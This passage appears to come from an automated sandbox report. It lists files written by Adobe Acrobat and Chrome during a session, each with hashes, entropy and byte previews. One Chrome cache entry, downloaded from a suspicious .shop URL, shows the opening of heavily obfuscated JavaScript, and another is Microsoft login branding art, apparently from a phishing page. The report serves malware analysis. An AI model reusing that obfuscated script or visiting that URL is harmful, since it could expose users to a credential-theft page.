d23365800f9322","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1885547436468857
Encrypted:	false
SSDEEP:	48:TGufl2GL7msEHUUUUUUUUUSvR9H9vxFGiDIAEkGVvp2:lNVmswUUUUUUUUU+FGSIt6
MD5:	CCCD2764936841788263FAF9DA8D2B42
SHA1:	95338BBBF03146D2B06535A654B78B90A382FF0E
SHA-256:	BF1280DBF71DDE8FB923923AE2297DA7D5EA906F36FAA3F4C92FA69FD27A9B2B
SHA-512:	692894D914FFF12CD6E637119A4AE3AD8000D37024C9910C21C4B8E414F65D30150BF2231C33C4063AD46FF7445F3E42E0DD8018CB5923994BC547CA8A66BBFC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.6052265558420655
Encrypted:	false
SSDEEP:	48:7MXKUUUUUUUUUU2vR9H9vxFGiDIAEkGVvSqFl2GL7msj:7FUUUUUUUUUU6FGSItoKVmsj
MD5:	E3FB3D81B10265120D2E98379708321D
SHA1:	CF9F64009E0D15C1D7F2048F1B830CE31076B401
SHA-256:	17BD596921B7380A27A18451CB713EF5B88FDC0B057E78053FD189BF5165FC86
SHA-512:	D5BF3B024C7FADDC965627E13ACD2B12C9E1601636D0C92248C8501C5F03D9AE3D7B0156ADAA56C5B0AEC8F4DC7570A5E375B67885ECFA511961933FB09FA245
Malicious:	false
Preview:	.... .c.....iS.p......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................f.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgY+3BcfLMCiunql9GUEZDXV5EYyu:6a6TZ44ADEt3BcfLXiTIuK
MD5:	A7CD356D315B753986379378463A64BE
SHA1:	BB815C3BC7C812FBE8131C60C0D7A4901F404A05
SHA-256:	9275A7763AFE66CFF177D02BDB57EFECC9479D065FDA667C2E78C542C054D62E
SHA-512:	DDDDC471AC99C3AB933386DCCEE503123B82B1857E300408B38674F4B9AB18CFBA9EE2055B713BDACB52D03F6BEFC6BBAC22920789AF19F81DC21E4ACD6134BE
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Temp\MSIfb34f.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.4985264301455885
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8qKD0Yle:Qw946cPbiOxDlbYnuRKtKFw
MD5:	01309042D82DF71439756D14BCBFBEFB
SHA1:	7DB5E71FDF2EDA8E15F89E49C875C4D2483858C6
SHA-256:	29CBA747C2615FEC401F4DEA88AC9776CEDF94EB1886EB24378DAAAEA82A817C
SHA-512:	9816D5894E82EB2FBFEA0452BB560458E4364ADC0FB46CF6E2B1AAD8FC7F9292DCEC01BDEA2E7B418013438D30F3C93D101F2B259648AD27ACA025A8A929B64A
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.2./.1.2./.2.0.2.4. . .0.6.:.0.6.:.1.6. .=.=.=.....

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2024-12-12 06-06-11-086.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.345946398610936
Encrypted:	false
SSDEEP:	384:zHIq8qrq0qoq/qUILImCIrImI9IWdFdDdoPtPTPtP7ygyAydy0yGV///X/J/VokV:nNW
MD5:	8947C10F5AB6CFFFAE64BCA79B5A0BE3
SHA1:	70F87EEB71BA1BE43D2ABAB7563F94C73AB5F778
SHA-256:	4F3449101521DA7DF6B58A2C856592E1359BA8BD1ACD0688ECF4292BA5388485
SHA-512:	B76DB9EF3AE758F00CAF0C1705105C875838C7801F7265B17396466EECDA4BCD915DA4611155C5F2AD1C82A800C1BEC855E52E2203421815F915B77AA7331CA0
Malicious:	false
Preview:	SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:088+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	16603
Entropy (8bit):	5.347880497110194
Encrypted:	false
SSDEEP:	384:mjfavvm8Q6t8JrUVNVDVtVO/HMHMTm6Zq5pxtyZH9lnoeMinqcri6lV/crcF41rV:TxjRbD3b
MD5:	A45CA70337D022A2F2147213B1D85684
SHA1:	700371898F51C5B781BB350B67BDDC906F8000A1
SHA-256:	D4C8617E423D9BB1627DCD57055EC3703C8822D9F435254D176AA5076F12572F
SHA-512:	BC7F2A5518903E3D2ABE549BCEE3B2DB00845D9CFF98BD352E73D016481EC9DA74C3FCC35019E20BE79425F787D3777619866084AD12DD3C5E97FE287BE3D0E2
Malicious:	false
Preview:	SessionID=b306d7b5-715e-453c-8b85-b6cd8f8d11ba.1734001571095 Timestamp=2024-12-12T06:06:11:095-0500 ThreadID=7208 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=b306d7b5-715e-453c-8b85-b6cd8f8d11ba.1734001571095 Timestamp=2024-12-12T06:06:11:096-0500 ThreadID=7208 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=b306d7b5-715e-453c-8b85-b6cd8f8d11ba.1734001571095 Timestamp=2024-12-12T06:06:11:096-0500 ThreadID=7208 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=b306d7b5-715e-453c-8b85-b6cd8f8d11ba.1734001571095 Timestamp=2024-12-12T06:06:11:096-0500 ThreadID=7208 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=b306d7b5-715e-453c-8b85-b6cd8f8d11ba.1734001571095 Timestamp=2024-12-12T06:06:11:096-0500 ThreadID=7208 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.393244939543056
Encrypted:	false
SSDEEP:	768:anddBuBYZwcfCnwZCnR8Bu5hx18HoCnLlAY+iCBuzhLCnx1CnPrRRFS10l8gT2rD:v
MD5:	B91E248A7746C8430D65DCFF74B5DDB4
SHA1:	0B34FD1A952E4A511F30D86A6A9D73DC66D0120E
SHA-256:	899DB9EE09F9CF9504E41FC0D76A9D889A97203F168521CAF23EA73BD262A161
SHA-512:	7B349F0680955F2BFC841337185897D1C4F3EBCB1706412D9B07C50F1EDDC910CDDE3CC240822BF6E3966D5FB75CEFCB351EB1E14E5AED2B6E9960474D1B1AF4
Malicious:	false
Preview:	03-10-2023 12:50:40:.---2---..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : *************************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : ***********************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Starting NGL..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..03-10-2023 12:50:40:.Closing File..03-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\1a5d4179-4613-4d63-97bf-5672efc53862.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/vjA7owWLaGZDwYIGNP8dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:zVwWLaGZDwZGm3mlind9i4ufFXpAXkru
MD5:	EC9198846F095AA5BAE253084A1D3F33
SHA1:	B682EA2F014993C2344D2A3975CA50E4AB1096F5
SHA-256:	91A62053CADFB364B332C0C6832C3B474E1339EFB2914137BF168A86DC511493
SHA-512:	7118CCA7E10EBDDD831F30CA53F096248C792E7AF94FFD687BC289FEE45117D874511097E8FEFED912412A9B8E47C991B5F976C0CBDE33A37D2884B815589EEA
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\978ce439-3b61-4a8d-98f9-14ecc721ea31.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\aea4655c-3280-4239-bc4b-08789d8696ce.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\ebc3a5e3-39b6-4934-9a3a-74c17bfcb8c6.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

Chrome Cache Entry: 177

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 280 x 60, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3226
Entropy (8bit):	7.887535849731442
Encrypted:	false
SSDEEP:	96:fZP2WFKxyYKhRBIk3LclSs5K2F0cRyRJMsfETA3LVWE:fZzYKuk4lSs5BZRK5fETA3L1
MD5:	3A620219089192B97FBE5CA002F22CCA
SHA1:	E39BC2DFE1C2EEA80527BFD6A7FBBDABFFF87F88
SHA-256:	019F3D631CA9595C38C526E5A5C266E6091D03C6FA7A76DB4FB0BA65102B58E6
SHA-512:	2AE2A93A3DA6B8321B93B9418C5D0330DCA13D06D0582802A19D6300CE43A01756EE186AB4993B5271F4808FF6758881436C040C7E6CC36AE3638F9EA10095E5
Malicious:	false
Preview:	.PNG........IHDR.......<............sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.paint.net 4.0.16Di......IDATx^.{.]E.....H.;.v)..@..?.->.5...6.O.M..j!j.....b...H...\|$......M."...ww...l-m.}..........9s~.....B........9.3.33g...AEQ.. ..EQ.@....(T.E..Q.(....PQ.%.D..(J..BEQ.<....(y ..EQ.@....(T.E..Q.(....PQ.%.Da!0.>sJ..@....!....1.Sj...L....Zf.IR......E`....c...........QX.4.(J...E@.....QX.4.(J...E@.....QX...`.9......0Xd....DIw..`{<x4.c...#h.I...."0..c..:.f./..f....~#..T.kFv.............g\|V..d.......Q..........nS....j.U...~({;\|..}.u7t..u..q.cP....!.......V..#..b..<&.'.........\|}.'(.l....b...@..-.=.....z.k/..)................9.........:..........Ns...QX.F.`...C?t.."...S`.~..&;...gi...)}....Ty.g...c....A...c._".%.]..a\g...$.X?...1AO.5............ls.._...QW5.oE9. ;.....}h............XvJ.1.=.G..}...*.-uH._..e..d>......."0......d......:.r.>......TM..v2:.!.V.e<.?...s(..2.q.A.1.......q@..u_...q}....>.~....\| ..1;.......-p....?S

Chrome Cache Entry: 178

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	426355
Entropy (8bit):	4.912224246528829
Encrypted:	false
SSDEEP:	12288:6LKXwBc6xJun1jjpp0546TFxKnTecT7pqwrzBlRgbvO:LgBc6xJm1/pGnTLKTecTFqizHRmvO
MD5:	E05F0C0603EA36FDA2F26E329B994FE8
SHA1:	B9DF4A8E9119457CCED8B77607E98561E48ABC67
SHA-256:	E50720CEBCF4CF488A8C86EBDC38969DB72CF6BEDCB8E84405159343549CDDB1
SHA-512:	0FCBDFCC864CAE33DAE59AC24D6BC56452D1E68C4347B76456379686A70077EA4EB88CE28A0E04D3E5C0AACDDAB3C4488A29B27C65D4BA54A3013EEA0F56D49F
Malicious:	false
URL:	https://qxydsa4dws.cenislerge.shop/m/aty/754DU96LZE77WZ3C1HGB1Z9P3
Preview:	function _0x49b429(_0x13321f,_0x2c20c7,_0x5c0056,_0x3818ef,_0x2df98e){return _0xa6a8(_0x3818ef- -0x30e,_0x2df98e);}(function(_0x3e4334,_0x1580f7){var _0x2a0896=_0x3e4334();function _0x3007b2(_0x44daf3,_0xca3662,_0x130911,_0x53577b,_0x1fe554){return _0xa6a8(_0xca3662-0x29,_0x130911);}function _0x465ad5(_0x1ae45f,_0xeeec23,_0x29f1db,_0xb9a73f,_0x1eb118){return _0xa6a8(_0x1ae45f-0x153,_0x29f1db);}function _0x3b19cd(_0x55502c,_0x4d137c,_0x66957f,_0x345c2a,_0x5af1c9){return _0xa6a8(_0x55502c-0x1e1,_0x5af1c9);}function _0x54200c(_0x3d0a5b,_0x508025,_0x5bb75a,_0x272da6,_0x5c29d0){return _0xa6a8(_0x3d0a5b- -0x2fd,_0x508025);}function _0x30f7ef(_0x2dd25b,_0x11eff8,_0x4474d9,_0x42d7cc,_0x3fa1e2){return _0xa6a8(_0x4474d9-0x3c5,_0x2dd25b);}while(!![]){try{var _0xe3473=-parseInt(_0x30f7ef(0x8bb,0x1f5,0x719,0x78f,0x72c))/(-0x15ee+0x1ebd+-0x8ce)(parseInt(_0x465ad5(0x7ab,0x6dc,0xb9c,0x9a9,0x3eb))/(0x18330x1+-0x1350+-0x10x4e1))+-parseInt(_0x54200c(0xdc,0x3ca,0x42,0x5c5,0xbe))/(-0x138f0x1+-0x12a2+-0

Chrome Cache Entry: 179

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	426355
Entropy (8bit):	4.912224246528829
Encrypted:	false
SSDEEP:	12288:6LKXwBc6xJun1jjpp0546TFxKnTecT7pqwrzBlRgbvO:LgBc6xJm1/pGnTLKTecTFqizHRmvO
MD5:	E05F0C0603EA36FDA2F26E329B994FE8
SHA1:	B9DF4A8E9119457CCED8B77607E98561E48ABC67
SHA-256:	E50720CEBCF4CF488A8C86EBDC38969DB72CF6BEDCB8E84405159343549CDDB1
SHA-512:	0FCBDFCC864CAE33DAE59AC24D6BC56452D1E68C4347B76456379686A70077EA4EB88CE28A0E04D3E5C0AACDDAB3C4488A29B27C65D4BA54A3013EEA0F56D49F
Malicious:	false
Preview:	function _0x49b429(_0x13321f,_0x2c20c7,_0x5c0056,_0x3818ef,_0x2df98e){return _0xa6a8(_0x3818ef- -0x30e,_0x2df98e);}(function(_0x3e4334,_0x1580f7){var _0x2a0896=_0x3e4334();function _0x3007b2(_0x44daf3,_0xca3662,_0x130911,_0x53577b,_0x1fe554){return _0xa6a8(_0xca3662-0x29,_0x130911);}function _0x465ad5(_0x1ae45f,_0xeeec23,_0x29f1db,_0xb9a73f,_0x1eb118){return _0xa6a8(_0x1ae45f-0x153,_0x29f1db);}function _0x3b19cd(_0x55502c,_0x4d137c,_0x66957f,_0x345c2a,_0x5af1c9){return _0xa6a8(_0x55502c-0x1e1,_0x5af1c9);}function _0x54200c(_0x3d0a5b,_0x508025,_0x5bb75a,_0x272da6,_0x5c29d0){return _0xa6a8(_0x3d0a5b- -0x2fd,_0x508025);}function _0x30f7ef(_0x2dd25b,_0x11eff8,_0x4474d9,_0x42d7cc,_0x3fa1e2){return _0xa6a8(_0x4474d9-0x3c5,_0x2dd25b);}while(!![]){try{var _0xe3473=-parseInt(_0x30f7ef(0x8bb,0x1f5,0x719,0x78f,0x72c))/(-0x15ee+0x1ebd+-0x8ce)(parseInt(_0x465ad5(0x7ab,0x6dc,0xb9c,0x9a9,0x3eb))/(0x18330x1+-0x1350+-0x10x4e1))+-parseInt(_0x54200c(0xdc,0x3ca,0x42,0x5c5,0xbe))/(-0x138f0x1+-0x12a2+-0

Chrome Cache Entry: 180

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=4, xresolution=62, yresolution=70, resolutionunit=2, software=paint.net 4.0.16], baseline, precision 8, 1420x1080, components 3
Category:	downloaded
Size (bytes):	188433
Entropy (8bit):	7.951403245747074
Encrypted:	false
SSDEEP:	3072:49KN93uQ5Gy7em806E/hDV0Z60NpDs303yYVGJPsA/clrwzquG7EpOEcrDs:IKN915Gy7+YdV0ZRpDW039VVkclEzd4q
MD5:	8FDBD6E374CBB944DC8CB3D68D8197D7
SHA1:	250CE666BBCBAD73A78DB8A3A842A8E8412B6BDF
SHA-256:	B0B6C2AA7B3BBED2BF216332A926443998C19E8C434515737AD90FB9694FD6F4
SHA-512:	ED77E269DDB2F2B558E04211A284A9F13FD34649A0BE567D94509F7BB8396C03CA9F9F3E1000F222945AD04DEDD6E4CCC1820A0EE1536E73C6703396F4FED97B
Malicious:	false
URL:	https://aadcdn.msauthimages.net/c1c6b6c8-tkja1ftrbnoasuxsmjlhdym92xfdwjgxashihkdd5fq/logintenantbranding/0/illustration?ts=636318050997797084
Preview:	......JFIF.....`.`.....hExif..MM..................>...........F.(...........1.........N.......`.......`....paint.net 4.0.16.....C................&...../"$.&81;:7165=EXK=ATB56MiNT[^cdc<Jltl`sXac_...C.......-..-_?6?__________________________________________________......8...."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.. o.K....9'w.0..g+..,..!............zv.Z.....GZV.98.>`.2u..P..x..n.d.x.7ZhdP..... o3i.dzu.V/.....+.d..j{.c.b.....A.jKy...]cP.a...........@c...u..i..Im.#...0.U.i..C.).N:~U...T<..w..F....#..4...`......<.%8.....q...p.<~t..B.P.8,:5.V.c..Cn.z...Y$b...........-.X@y.].

Chrome Cache Entry: 181

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 513
Category:	downloaded
Size (bytes):	276
Entropy (8bit):	7.316609873335077
Encrypted:	false
